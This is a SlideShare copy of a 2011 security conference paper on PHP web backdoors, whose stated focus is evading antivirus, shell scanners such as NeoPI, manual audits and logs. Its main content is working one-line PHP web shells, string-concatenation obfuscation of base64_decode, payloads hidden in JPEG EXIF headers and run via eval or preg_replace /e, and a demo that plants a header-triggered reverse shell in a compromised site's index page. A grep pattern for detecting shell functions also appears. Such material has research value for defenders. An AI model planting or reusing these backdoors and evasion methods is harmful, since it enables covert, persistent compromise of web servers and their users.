SlideShare a Scribd company logo
Meet Us at http://www.Garage4Hackers.com          FB1H2S



     [http://www.Garage4Hackers.com]


     [Web Backdoors]
     [Attack, Evasion and Detection]
     [fb1h2s aka Rahul Sasi]




                                           [G4H 2011]
Meet Us at http://www.Garage4Hackers.com                                                          FB1H2S


Abstract: This paper provides insight on common web back doors and how simple manipulations could
make them undetectable by AV and other security suits. Paper explains few techniques that could be
used to render undetectable and unnoticed backdoors inside web applications.

This paper is mainly an update for an old paper of ours Effectiveness of Antivirus in Detecting Web
Application Backdoors, which mainly questioned the effectiveness of AV with respect to web shells and
analysis of a couple of web shells. Current paper takes this topic further and explains a couple of
methodologies that could be used to make stealth application layer backdoors using web scripting
languages .This paper explains various Web Backdoor attacks and evasion techniques that could be used
to stay undetected .

Web Application Backdoors:

They are simple scripts built using web applications programs that would serve an attacker as a
backdoor to the application hosting environment.

Detection Methods [Signature Based Detection]

In this technique the Antivirus software’s need to have the signature of the Backdoor, and for that the
companies should already have had a copy of the backdoor for analyzing.

Evading Signature Based Detection:

We have previously documented how easy it was to bypass signature based detection. Based on further
analysis we were able to conclude that, all most all AV use simple md5 check sum as signature for
detecting common Web backdoors or simple text based signatures, though AV using MD5 or other
check sum for detection is not any new news. This could be a night mare for many sys admin.

A very common backdoor named cybershell.php was scanned with Total Av scanner and following were
the results.

   #Analysis 1.1

   Sample md5:         ef8828e0bc0641a655de3932199c0527

   File Name:         cybershell.php

   Submission date: 2011-08-29 12:00:02 (UTC)

   Result:             20 /44 (45.5%)
Meet Us at http://www.Garage4Hackers.com                                                            FB1H2S


So for bypassing this it is pretty easy, just add an extra comment line inside the code or strip out few
strings from the code and that would be it.


    #Analysis 1.2

    Sample md5:         251e62025daf17be22a028baa8d2b506

    File Name:          cybershell.php

    Submission date: 2011-08-29 12:20:42 (UTC)

    Result:             0 /44 (00.00%)


We have already documented on how easy it is to bypass AV detection of web backdoors and its pretty
simple and making a document for that it is pointless. May be better ways of detecting them would be a
good scope of research.

 Moving on to the main paper, since that we know by now that AV are of no use detecting Web
backdoors, there is no point in finding evasion techniques for them. But there are a handful of good
tools and scripts that could scan and detect such backdoors. And also a server admin who is browsing
though the source of his web server could easily figure out these ugly backdoors. So this paper would be
mainly on how to evade these situations (examples would be in php).

     Web Backdoor Shell Detection on Servers (Specialized Tools)
As documented here , the following are few specialized tools that are effective and

1. Web Shell Detection Using NeoPI - A python Script

(https://github.com/Neohapsis/NeoPI)

2. PHP Shell Scanner - A perl Script

(http://ketan.lithiumfox.com/doku.php?id=phpshell_scanner)

3. PHP script to find malicious code on a hacked server - A PHP Script

(http://25yearsofprogramming.com/blog/2010/20100315.htm)

So the logic used by most of these scanners is simply to find all reference to the following
function calls, these functions are mainly used for file management and OS command execution
and are unavoidable parts in web shells.

    grep -RPn
    "(system|phpinfo|pcntl_exec|python_eval|base64_decode|gzip|mkdir|fopen|fclose|read
    file|passthru)" /pathto/webdir/
Meet Us at http://www.Garage4Hackers.com                                                         FB1H2S


NeoPI
NeoPI is a Python script that uses a variety of statistical methods to detect obfuscated and
encrypted content within text and script files. The intended purpose of NeoPI is to aid in the
identification of hidden web shell code. The development focus of NeoPI was creating a tool
that could be used in conjunction with other established detection methods such as Linux
Malware Detect or traditional signature/keyword based searches.

[Source]

In the above list NeoPI provides better result than the rest and we will concentrate dealing with this
particular tool. One issues with these tools are, manual assessment is very much required since there
are a lot of false positives.

Few Backdoor codes these scanners will detect.

Php Back tick Method


                  <?=@`$_`?>               //Php Back tick Method




Any code containing any of the above mentioned black listed functions would be caught.


    elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v =
    @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents();
    @ob_clean(); echo $v;}




The following would be detected as NEOIP has got a mechanism to scan check for natural language, and
the series of encoded values would be flagged.


    $code =
    “aGVsbG8gYWxsIHRoaXMgaXMganVzdCBhIHRlc3QgZm9yIHRoZSBwYXBlciBub3RoaW5nIGJh
    ZCBidWhhIGhhIGhhIGhlbGxvIGFsbCB0aGlzIGlzIGp1c3QgYSB0ZXN0IGZvciB0aGUgcGFwZXIgb
    m90aGluZyBiYWQgYnVoYSBoYSBoYWhlbGxvIGFsbCB0aGlzIGlzIGp1c3QgYSB0ZXN0IGZvciB0a
    GUgcGFwZXIgbm90aGluZyBiYWQgYnVoYSBoYSBoYWhlbGxvIGFsbCB0aGlzIGlzIGp1c3QgYSB0
    ZXN0IGZvciB0aGUgcGFwZXIgbm90aGluZyBiYWQgYnVoYSBoYSBoYQ==”

    Decodethis($code)
Meet Us at http://www.Garage4Hackers.com                                            FB1H2S


                                          Evasion Techniques
Evasion #1:

        Situation: Admin Might Scan his server with one of the above tools.

        Evasion:

        Php supports Variable Function :


          // following code is detected as base64_decode is detected as malicious
          content by one of the above tools

          <?php

          $badcode =”am_encoded_bad_code_buhaha”;

          Eval(base64_decoded($badcode);

          ?>



       An alternate way to bypass the scan would be done the following way.

              <?php

              $badcode =”am_encoded_bad_code_buhaha” ;

              $b = “base”;

              $c = “64_”;

              $d =”decode”;

              alternate = $b.$c.$d;

              eval(alternate($badcode);



We will be explaining an alternate for EVAL soon.
Meet Us at http://www.Garage4Hackers.com                                                     FB1H2S




Evasion #2:

       Situation: Admin manually searches through source code, he could possibly get suspicious the
       string like base64 etc, he might spot large encoded strings in his web application files.

       Evasion: A simple evasion for making this work would be to make the backdoor code as small
       as possible; so that it could be included with other code and remain undetected.

              <?

              $_ = $_GET[2];

              $__= $_GET[1] ;

              echo '<pre>'.$_($__).'</pre>';

              ?>




        It could be further shortened to the following format

                        <?=($_=@$_GET[c]).@$_($_GET[f])?>


       These small few lines of code would be able to give command execution. It would be
       completely undetectable by any of the above tools and not easily by manual code audits.
       Changing the above code from using GET request to POST request would prevent it from
       showing up in logs files too.
Meet Us at http://www.Garage4Hackers.com                                                           FB1H2S


Evasion #3:

       Situation: The applications are audited using some source code audit scanners that detect all
       possible user inputs fields and traces possible code injection attacks. Thus taking the input via
       _GET and _POST method might get detected.

       Evasion:

       It’s possible to place data inside JPEG EXIF headers, so we will put all function calls and data
       inside an image and assemble them at runtime, that way the inputs would be coming not form
       user but form a local source .




         <?php

                  $_ = exif_read_data ('image.jpg');

                  $d=$_['Make'];                   //base64_decode

                  $str = $_['Code'];               // Evil Base64_encoded code

                  eval($d($str));                  // eval(base64_decode(code))

         ?>



       Here image.jpeg, could contain all our php code and shell codes, and the exif_read_data tag
       could be used to call individual meta tags and function calls could be constructed at runtime.

       Similarly we could hide a reverse shell inside an image and place it inside the index page, so
       whenever a request to the main page is made with a particular HTTP Header our backdoor
       would be triggered, this way it would be less noisy and undetectable by AV, code audits, and any
       backdoor hunting script.

       Note: An alternate for eval would be using the preg_replace() function with /e switch :

         <?php

         $code_fb = 'print( 'Hello, fb1h2s !'.PHP_EOL)';

         preg_replace('/(.*)/e', $code_fb, '' );

         ?>
Meet Us at http://www.Garage4Hackers.com                                                   FB1H2S




Demo:

        The above small piece of code is injected into index page of a compromised site.
        The image with the actual malicious code is added to sites /images directory.
        Code is triggered on a particular HTTP header may be user_agent == w1d0ws.
        On accessing the index page we will get a reverse shell.

Benefits:

        Backdoor remains undetected from shell scanners and AV
        Remains undetected form code auditing software’s.
        No traces in log files

Here is how it looks:

Am an innocent page 




Request:
Meet Us at http://www.Garage4Hackers.com                                                  FB1H2S




Shell Obtained:




Improvements:



The POC code/demo would have a PHP code that would be able to load shell codes and provide connect
back shell.



Thanks for Reading,

Fb1h2s @ gmail.com

http://www.Garage4Hackers.com

[This paper was presented and demos were given at C0C0N Sec Conference 2011 Oct -9 ]

More Related Content

PPTX
BackDoors Seminar
PPT
Backdoor
DOCX
Introduction to trojans and backdoors
PPSX
Detection of running backdoors
PPTX
Trojans and backdoors
PPT
Keyloggers and Spywares
PPT
Trojan backdoors
PPT
Spywares & Keyloggers
BackDoors Seminar
Backdoor
Introduction to trojans and backdoors
Detection of running backdoors
Trojans and backdoors
Keyloggers and Spywares
Trojan backdoors
Spywares & Keyloggers

What's hot (20)

PDF
Understanding Keylogger
PPTX
Network security and viruses
PPTX
Hacker bootcamp
PDF
Research Paper on Rootkit.
PPT
Malicious
PPTX
Introduction to Malwares
PPTX
PPTX
Virus and its CounterMeasures -- Pruthvi Monarch
PDF
Introduction of hacking and cracking
PPTX
Type of Malware and its different analysis and its types !
PPTX
Information security & EthicalHacking
PPTX
Dan Catalin Vasile - Defcamp2013 - Does it pay to be a blackhat hacker
PPT
Virus and Malicious Code Chapter 5
DOCX
Security Handbook
PPTX
Computer Security
PDF
Program security chapter 3
PPT
Keyloggers
PPTX
Program and System Threats
PDF
Understanding CryptoLocker (Ransomware) with a Case Study
ODP
What is keylogger
Understanding Keylogger
Network security and viruses
Hacker bootcamp
Research Paper on Rootkit.
Malicious
Introduction to Malwares
Virus and its CounterMeasures -- Pruthvi Monarch
Introduction of hacking and cracking
Type of Malware and its different analysis and its types !
Information security & EthicalHacking
Dan Catalin Vasile - Defcamp2013 - Does it pay to be a blackhat hacker
Virus and Malicious Code Chapter 5
Security Handbook
Computer Security
Program security chapter 3
Keyloggers
Program and System Threats
Understanding CryptoLocker (Ransomware) with a Case Study
What is keylogger
Ad

Viewers also liked (20)

PPTX
Webshelldetector
PDF
HART as an Attack Vector
PPTX
Malware's Most Wanted: CryptoLocker—The Ransomware Trojan
PDF
PDF
Enterprise security: ransomware in enterprise and corporate entities
PPTX
Trojan virus & backdoors
PPTX
MMW April 2016 Ransomware Resurgence
PPT
Web Based Security
PPT
Layer 7: Getting Your SOA to Production Without Cost and Complexity
PPTX
Complementos
PDF
Secure Kernel Machines against Evasion Attacks
PPTX
How to stay protected against ransomware
PDF
A combined approach to search for evasion techniques in network intrusion det...
PPTX
Veil Evasion and Client Side Attacks
PPTX
Cybersecurity Attack Vectors: How to Protect Your Organization
PDF
CEHv7 Question Collection
PPTX
Endpoint Protection
PPTX
2 introduction to data structure
PDF
Internet Security
PDF
Computer Security
Webshelldetector
HART as an Attack Vector
Malware's Most Wanted: CryptoLocker—The Ransomware Trojan
Enterprise security: ransomware in enterprise and corporate entities
Trojan virus & backdoors
MMW April 2016 Ransomware Resurgence
Web Based Security
Layer 7: Getting Your SOA to Production Without Cost and Complexity
Complementos
Secure Kernel Machines against Evasion Attacks
How to stay protected against ransomware
A combined approach to search for evasion techniques in network intrusion det...
Veil Evasion and Client Side Attacks
Cybersecurity Attack Vectors: How to Protect Your Organization
CEHv7 Question Collection
Endpoint Protection
2 introduction to data structure
Internet Security
Computer Security
Ad

Similar to Web backdoors attacks, evasion, detection (20)

PDF
Effectiveness of AV in Detecting Web Application Backdoors
PDF
Remote File Inclusion / Local File Inclusion [Attack and Defense Techniques]
PDF
Art of Web Backdoor - Pichaya Morimoto
PDF
Remote File Inclusion (RFI) Vulnerabilities 101
PPTX
Web-App Remote Code Execution Via Scripting Engines
PPTX
Secure programming with php
PDF
Anatomy of PHP Shells
PDF
Php Security
PDF
47300 php-web-backdoor-decode
PPTX
Pentest Expectations
PDF
Php vulnerability presentation
PDF
CNIT 129S: 10: Attacking Back-End Components
PPTX
Secure coding | XSS Attacks on current Web Applications
PDF
Cyber Kill Chain: Web Application Exploitation
PPTX
Secure Coding
PPTX
Prevent hacking
PDF
LFI to RCE Exploit with Perl Script
DOCX
Web-servers & Application Hacking
KEY
DVWA BruCON Workshop
PDF
How not to suck at Cyber Security
Effectiveness of AV in Detecting Web Application Backdoors
Remote File Inclusion / Local File Inclusion [Attack and Defense Techniques]
Art of Web Backdoor - Pichaya Morimoto
Remote File Inclusion (RFI) Vulnerabilities 101
Web-App Remote Code Execution Via Scripting Engines
Secure programming with php
Anatomy of PHP Shells
Php Security
47300 php-web-backdoor-decode
Pentest Expectations
Php vulnerability presentation
CNIT 129S: 10: Attacking Back-End Components
Secure coding | XSS Attacks on current Web Applications
Cyber Kill Chain: Web Application Exploitation
Secure Coding
Prevent hacking
LFI to RCE Exploit with Perl Script
Web-servers & Application Hacking
DVWA BruCON Workshop
How not to suck at Cyber Security

More from n|u - The Open Security Community (20)

PDF
Hardware security testing 101 (Null - Delhi Chapter)
PPTX
SSRF exploit the trust relationship
PDF
PDF
Api security-testing
PDF
Introduction to TLS 1.3
PDF
Gibson 101 -quick_introduction_to_hacking_mainframes_in_2020_null_infosec_gir...
PDF
Talking About SSRF,CRLF
PPTX
Building active directory lab for red teaming
PPTX
Owning a company through their logs
PPTX
Introduction to shodan
PDF
Detecting persistence in windows
PPTX
Frida - Objection Tool Usage
PDF
OSQuery - Monitoring System Process
PDF
DevSecOps Jenkins Pipeline -Security
PDF
Extensible markup language attacks
PPTX
PDF
Hardware security testing 101 (Null - Delhi Chapter)
SSRF exploit the trust relationship
Api security-testing
Introduction to TLS 1.3
Gibson 101 -quick_introduction_to_hacking_mainframes_in_2020_null_infosec_gir...
Talking About SSRF,CRLF
Building active directory lab for red teaming
Owning a company through their logs
Introduction to shodan
Detecting persistence in windows
Frida - Objection Tool Usage
OSQuery - Monitoring System Process
DevSecOps Jenkins Pipeline -Security
Extensible markup language attacks

Recently uploaded (20)

PDF
Insiders guide to clinical Medicine.pdf
PDF
Chapter 2 Heredity, Prenatal Development, and Birth.pdf
PDF
O7-L3 Supply Chain Operations - ICLT Program
PDF
RMMM.pdf make it easy to upload and study
PDF
01-Introduction-to-Information-Management.pdf
PPTX
human mycosis Human fungal infections are called human mycosis..pptx
PPTX
school management -TNTEU- B.Ed., Semester II Unit 1.pptx
PPTX
Pharma ospi slides which help in ospi learning
PDF
Saundersa Comprehensive Review for the NCLEX-RN Examination.pdf
PDF
TR - Agricultural Crops Production NC III.pdf
PPTX
Introduction_to_Human_Anatomy_and_Physiology_for_B.Pharm.pptx
PPTX
Cell Types and Its function , kingdom of life
PPTX
Cell Structure & Organelles in detailed.
PDF
Pre independence Education in Inndia.pdf
PPTX
PPH.pptx obstetrics and gynecology in nursing
PPTX
Final Presentation General Medicine 03-08-2024.pptx
PDF
The Lost Whites of Pakistan by Jahanzaib Mughal.pdf
PDF
Classroom Observation Tools for Teachers
PDF
Basic Mud Logging Guide for educational purpose
PPTX
master seminar digital applications in india
Insiders guide to clinical Medicine.pdf
Chapter 2 Heredity, Prenatal Development, and Birth.pdf
O7-L3 Supply Chain Operations - ICLT Program
RMMM.pdf make it easy to upload and study
01-Introduction-to-Information-Management.pdf
human mycosis Human fungal infections are called human mycosis..pptx
school management -TNTEU- B.Ed., Semester II Unit 1.pptx
Pharma ospi slides which help in ospi learning
Saundersa Comprehensive Review for the NCLEX-RN Examination.pdf
TR - Agricultural Crops Production NC III.pdf
Introduction_to_Human_Anatomy_and_Physiology_for_B.Pharm.pptx
Cell Types and Its function , kingdom of life
Cell Structure & Organelles in detailed.
Pre independence Education in Inndia.pdf
PPH.pptx obstetrics and gynecology in nursing
Final Presentation General Medicine 03-08-2024.pptx
The Lost Whites of Pakistan by Jahanzaib Mughal.pdf
Classroom Observation Tools for Teachers
Basic Mud Logging Guide for educational purpose
master seminar digital applications in india

Web backdoors attacks, evasion, detection

  • 1. Meet Us at http://www.Garage4Hackers.com FB1H2S [http://www.Garage4Hackers.com] [Web Backdoors] [Attack, Evasion and Detection] [fb1h2s aka Rahul Sasi] [G4H 2011]
  • 2. Meet Us at http://www.Garage4Hackers.com FB1H2S Abstract: This paper provides insight on common web back doors and how simple manipulations could make them undetectable by AV and other security suits. Paper explains few techniques that could be used to render undetectable and unnoticed backdoors inside web applications. This paper is mainly an update for an old paper of ours Effectiveness of Antivirus in Detecting Web Application Backdoors, which mainly questioned the effectiveness of AV with respect to web shells and analysis of a couple of web shells. Current paper takes this topic further and explains a couple of methodologies that could be used to make stealth application layer backdoors using web scripting languages .This paper explains various Web Backdoor attacks and evasion techniques that could be used to stay undetected . Web Application Backdoors: They are simple scripts built using web applications programs that would serve an attacker as a backdoor to the application hosting environment. Detection Methods [Signature Based Detection] In this technique the Antivirus software’s need to have the signature of the Backdoor, and for that the companies should already have had a copy of the backdoor for analyzing. Evading Signature Based Detection: We have previously documented how easy it was to bypass signature based detection. Based on further analysis we were able to conclude that, all most all AV use simple md5 check sum as signature for detecting common Web backdoors or simple text based signatures, though AV using MD5 or other check sum for detection is not any new news. This could be a night mare for many sys admin. A very common backdoor named cybershell.php was scanned with Total Av scanner and following were the results. #Analysis 1.1 Sample md5: ef8828e0bc0641a655de3932199c0527 File Name: cybershell.php Submission date: 2011-08-29 12:00:02 (UTC) Result: 20 /44 (45.5%)
  • 3. Meet Us at http://www.Garage4Hackers.com FB1H2S So for bypassing this it is pretty easy, just add an extra comment line inside the code or strip out few strings from the code and that would be it. #Analysis 1.2 Sample md5: 251e62025daf17be22a028baa8d2b506 File Name: cybershell.php Submission date: 2011-08-29 12:20:42 (UTC) Result: 0 /44 (00.00%) We have already documented on how easy it is to bypass AV detection of web backdoors and its pretty simple and making a document for that it is pointless. May be better ways of detecting them would be a good scope of research. Moving on to the main paper, since that we know by now that AV are of no use detecting Web backdoors, there is no point in finding evasion techniques for them. But there are a handful of good tools and scripts that could scan and detect such backdoors. And also a server admin who is browsing though the source of his web server could easily figure out these ugly backdoors. So this paper would be mainly on how to evade these situations (examples would be in php). Web Backdoor Shell Detection on Servers (Specialized Tools) As documented here , the following are few specialized tools that are effective and 1. Web Shell Detection Using NeoPI - A python Script (https://github.com/Neohapsis/NeoPI) 2. PHP Shell Scanner - A perl Script (http://ketan.lithiumfox.com/doku.php?id=phpshell_scanner) 3. PHP script to find malicious code on a hacked server - A PHP Script (http://25yearsofprogramming.com/blog/2010/20100315.htm) So the logic used by most of these scanners is simply to find all reference to the following function calls, these functions are mainly used for file management and OS command execution and are unavoidable parts in web shells. grep -RPn "(system|phpinfo|pcntl_exec|python_eval|base64_decode|gzip|mkdir|fopen|fclose|read file|passthru)" /pathto/webdir/
  • 4. Meet Us at http://www.Garage4Hackers.com FB1H2S NeoPI NeoPI is a Python script that uses a variety of statistical methods to detect obfuscated and encrypted content within text and script files. The intended purpose of NeoPI is to aid in the identification of hidden web shell code. The development focus of NeoPI was creating a tool that could be used in conjunction with other established detection methods such as Linux Malware Detect or traditional signature/keyword based searches. [Source] In the above list NeoPI provides better result than the rest and we will concentrate dealing with this particular tool. One issues with these tools are, manual assessment is very much required since there are a lot of false positives. Few Backdoor codes these scanners will detect. Php Back tick Method <?=@`$_`?> //Php Back tick Method Any code containing any of the above mentioned black listed functions would be caught. elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;} The following would be detected as NEOIP has got a mechanism to scan check for natural language, and the series of encoded values would be flagged. $code = “aGVsbG8gYWxsIHRoaXMgaXMganVzdCBhIHRlc3QgZm9yIHRoZSBwYXBlciBub3RoaW5nIGJh ZCBidWhhIGhhIGhhIGhlbGxvIGFsbCB0aGlzIGlzIGp1c3QgYSB0ZXN0IGZvciB0aGUgcGFwZXIgb m90aGluZyBiYWQgYnVoYSBoYSBoYWhlbGxvIGFsbCB0aGlzIGlzIGp1c3QgYSB0ZXN0IGZvciB0a GUgcGFwZXIgbm90aGluZyBiYWQgYnVoYSBoYSBoYWhlbGxvIGFsbCB0aGlzIGlzIGp1c3QgYSB0 ZXN0IGZvciB0aGUgcGFwZXIgbm90aGluZyBiYWQgYnVoYSBoYSBoYQ==” Decodethis($code)
  • 5. Meet Us at http://www.Garage4Hackers.com FB1H2S Evasion Techniques Evasion #1: Situation: Admin Might Scan his server with one of the above tools. Evasion: Php supports Variable Function : // following code is detected as base64_decode is detected as malicious content by one of the above tools <?php $badcode =”am_encoded_bad_code_buhaha”; Eval(base64_decoded($badcode); ?> An alternate way to bypass the scan would be done the following way. <?php $badcode =”am_encoded_bad_code_buhaha” ; $b = “base”; $c = “64_”; $d =”decode”; alternate = $b.$c.$d; eval(alternate($badcode); We will be explaining an alternate for EVAL soon.
  • 6. Meet Us at http://www.Garage4Hackers.com FB1H2S Evasion #2: Situation: Admin manually searches through source code, he could possibly get suspicious the string like base64 etc, he might spot large encoded strings in his web application files. Evasion: A simple evasion for making this work would be to make the backdoor code as small as possible; so that it could be included with other code and remain undetected. <? $_ = $_GET[2]; $__= $_GET[1] ; echo '<pre>'.$_($__).'</pre>'; ?> It could be further shortened to the following format <?=($_=@$_GET[c]).@$_($_GET[f])?> These small few lines of code would be able to give command execution. It would be completely undetectable by any of the above tools and not easily by manual code audits. Changing the above code from using GET request to POST request would prevent it from showing up in logs files too.
  • 7. Meet Us at http://www.Garage4Hackers.com FB1H2S Evasion #3: Situation: The applications are audited using some source code audit scanners that detect all possible user inputs fields and traces possible code injection attacks. Thus taking the input via _GET and _POST method might get detected. Evasion: It’s possible to place data inside JPEG EXIF headers, so we will put all function calls and data inside an image and assemble them at runtime, that way the inputs would be coming not form user but form a local source . <?php $_ = exif_read_data ('image.jpg'); $d=$_['Make']; //base64_decode $str = $_['Code']; // Evil Base64_encoded code eval($d($str)); // eval(base64_decode(code)) ?> Here image.jpeg, could contain all our php code and shell codes, and the exif_read_data tag could be used to call individual meta tags and function calls could be constructed at runtime. Similarly we could hide a reverse shell inside an image and place it inside the index page, so whenever a request to the main page is made with a particular HTTP Header our backdoor would be triggered, this way it would be less noisy and undetectable by AV, code audits, and any backdoor hunting script. Note: An alternate for eval would be using the preg_replace() function with /e switch : <?php $code_fb = 'print( 'Hello, fb1h2s !'.PHP_EOL)'; preg_replace('/(.*)/e', $code_fb, '' ); ?>
  • 8. Meet Us at http://www.Garage4Hackers.com FB1H2S Demo: The above small piece of code is injected into index page of a compromised site. The image with the actual malicious code is added to sites /images directory. Code is triggered on a particular HTTP header may be user_agent == w1d0ws. On accessing the index page we will get a reverse shell. Benefits: Backdoor remains undetected from shell scanners and AV Remains undetected form code auditing software’s. No traces in log files Here is how it looks: Am an innocent page  Request:
  • 9. Meet Us at http://www.Garage4Hackers.com FB1H2S Shell Obtained: Improvements: The POC code/demo would have a PHP code that would be able to load shell codes and provide connect back shell. Thanks for Reading, Fb1h2s @ gmail.com http://www.Garage4Hackers.com [This paper was presented and demos were given at C0C0N Sec Conference 2011 Oct -9 ]